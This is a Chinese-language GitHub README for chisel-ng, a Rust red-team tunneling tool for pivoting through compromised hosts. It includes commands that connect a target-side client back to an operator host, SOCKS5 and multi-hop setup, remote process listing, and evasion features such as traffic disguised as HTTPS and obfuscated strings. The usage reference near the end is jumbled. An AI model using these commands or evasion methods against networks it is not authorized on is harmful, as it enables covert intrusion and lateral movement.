nullsection/chisel-ng
GitHub: nullsection/chisel-ng
Rust 重写的 chisel 隧道工具,通过 SSH-over-WebSocket-over-TLS 实现隐蔽的内网 pivoting 和端口转发。
Stars: 129 | Forks: 9
```
_ _ _
___| |__ (_)___ ___| | _ __ __ _
/ __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
| (__| | | | \__ \ __/ |_____| | | | (_| |
\___|_| |_|_|___/\___|_| |_| |_|\__, |
|___/
```
# chisel-ng




[chisel](https://github.com/jpillora/chisel) 的 Rust 实现版本,用于渗透测试和红队行动。通过 SSH-over-WebSocket-over-TLS 建立反向隧道,允许操作人员通过被攻陷的主机进行 pivoting(跳板),同时混入正常的 HTTPS 流量中。
## 目录
- [快速开始](#quick-start)
- [功能特性](#features)
- [架构](#architecture)
- [使用参考](#usage-reference)
- [服务端](#server-operator)
- [反向客户端](#reverse-client-agent)
- [绑定客户端](#bind-client-agent---inbound-mode)
- [CLI 命令](#server-cli-commands)
- [多跳 Pivoting](#multi-hop-pivoting)
- [技术细节](#technical-details)
- [OPSEC 注意事项](#opsec-considerations)
- [免责声明](#disclaimer)
## 快速开始
### 环境要求
- Rust 1.70+ ([rustup.rs](https://rustup.rs/))
### 构建
```
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
```
二进制文件输出到 `target/release/`:`chisel-server`、`chisel-client`、`chisel-bind-client`
### 基本用法
**1. 启动服务端(操作员):**
```
./chisel-server -p 'secret' -v
```
**2. 运行客户端(目标机):**
```
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```
**3. 创建隧道:**
```
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
```
**4. 访问内部服务:**
```
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
```
## 功能特性
- **SSH over WebSocket over TLS** - 混入正常的 HTTPS 流量
- **预共享密钥认证 (PSK)** - 简单、安全的认证方式
- **动态端口转发** - 按需创建隧道
- **SOCKS5 代理** - 通过 Agent 进行动态路由
- **两种客户端模式** - Reverse(向外连接)和 Bind(接受入站连接)
- **跨平台** - Windows 和 Linux
## 架构
```
+------------------+ +----------------------------------+
| Operator | | Target Network |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
```
**协议栈:**
```
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
^
appears as HTTPS
```
**客户端模式:**
- **Reverse** (`chisel-client`) - 向外连接到服务端
- **Bind** (`chisel-bind-client`) - 监听入站连接;服务端使用 `connect` 命令
## 使用参考
Listen address [default: 0.0.0.0:8443]
-p, --psk Pre-shared key or passphrase [env: CHISEL_PSK]
--cert TLS certificate (PEM)
--key TLS private key (PEM)
--generate-psk Generate random PSK and exit
-v, --verbose Verbose output
```
Server address (host:port)
-p, --psk Pre-shared key or passphrase [env: CHISEL_PSK]
-u, --user
Listen address (e.g., 0.0.0.0:9000)
-p, --psk Pre-shared key or passphrase [env: CHISEL_PSK]
-u, --user
Select a session
connect Connect to bind client
disconnect Disconnect session (will reconnect)
kill Terminate client process
```
**会话菜单:**
```
tunnel :: Create tunnel
tunnel --local :: Create tunnel (localhost only)
tunnel stop Stop tunnel
tunnels List tunnels
socks5 Start SOCKS5 proxy
socks5 stop Stop SOCKS5 proxy
ping Measure latency
ps List remote processes
netstat List remote connections
```
## 多跳 Pivoting
通过链式连接现有会话来访问隔离网络。
**场景:** DMZ 主机可以连接到操作员。内部主机 (10.0.0.50) 只能从 DMZ 访问。
```
+----------+ +-----------+ +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2 |
| Server | | (DMZ) | | (INTERNAL) |
+----------+ +-----------+ +------------+
```
**步骤 1 - 启动服务端(操作员):**
```
./chisel-server -p 'secret' -v
```
**步骤 2 - 运行反向客户端(DMZ 主机):**
```
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```
**步骤 3 - 运行绑定客户端(位于 10.0.0.50 的内部主机):**
```
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
```
**步骤 4 - 创建隧道并连接(服务端 CLI):**
```
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
```
## 技术细节
## OPSEC 注意事项
## 免责声明
本工具仅用于授权的安全测试。使用前请获得适当的授权。作者不对滥用行为负责。
## 许可证
MIT
服务端(操作员)
``` OPTIONS: -l, --listen反向客户端
``` OPTIONS: -s, --server绑定客户端(Agent - 入站模式)
适用于可以接受入站连接但不能主动发起出站连接的目标: ``` OPTIONS: -l, --listen服务端 CLI 命令
**主菜单:** ``` sessions List connected sessions session隧道工作原理
创建隧道时 (`tunnel 8080:192.168.1.100:80`): 1. 服务端绑定本地端口 8080 2. 连接建立时,服务端向 Agent 发送 CONNECT 请求 3. Agent 连接到目标并打开 SSH direct-tcpip 通道 4. 数据进行双向桥接SOCKS5 工作原理
通过 RFC 1928 握手实现动态目标寻址。返回正确的错误代码以获得准确的端口扫描结果。二进制加固
Release 构建已加固: - **静默运行** - 所有日志编译为空操作 - **字符串混淆** - 协议字符串在编译时进行 XOR 加密 - **符号剥离** - 无调试符号或源代码路径 - **大小优化** - 约 3 MB,而 Debug 版本约 15 MB - **Panic 行为** - 立即中止,不输出堆栈跟踪操作安全
- **PSK 认证** - 从密码短语 (SHA-256) 或原始十六进制生成的 256 位密钥 - **无凭据存储** - PSK 仅通过参数或环境变量传递 - **自动重连** - 默认启用,间隔可配置 - **心跳** - 可配置的 Keepalive,使用 `--heartbeat 0` 禁用检测向量
- JA3/JA4 TLS 指纹识别 - WebSocket 升级模式 - 长连接持续时间 - 固定的心跳间隔标签:Chisel, Google搜索, HTTP 参数枚举, Rust, SOCKS5, SSH, TLS加密, WebSocket, 二进制发布, 代理链, 依赖分析, 内存分配, 内网穿透, 反向代理, 可视化界面, 多跳代理, 开源工具, 横向移动, 流量伪装, 流量隐蔽, 端口转发, 编程规范, 网络 pivoting, 网络安全, 网络流量审计, 计算机犯罪软件, 远程控制, 通知系统, 隐私保护, 隧道工具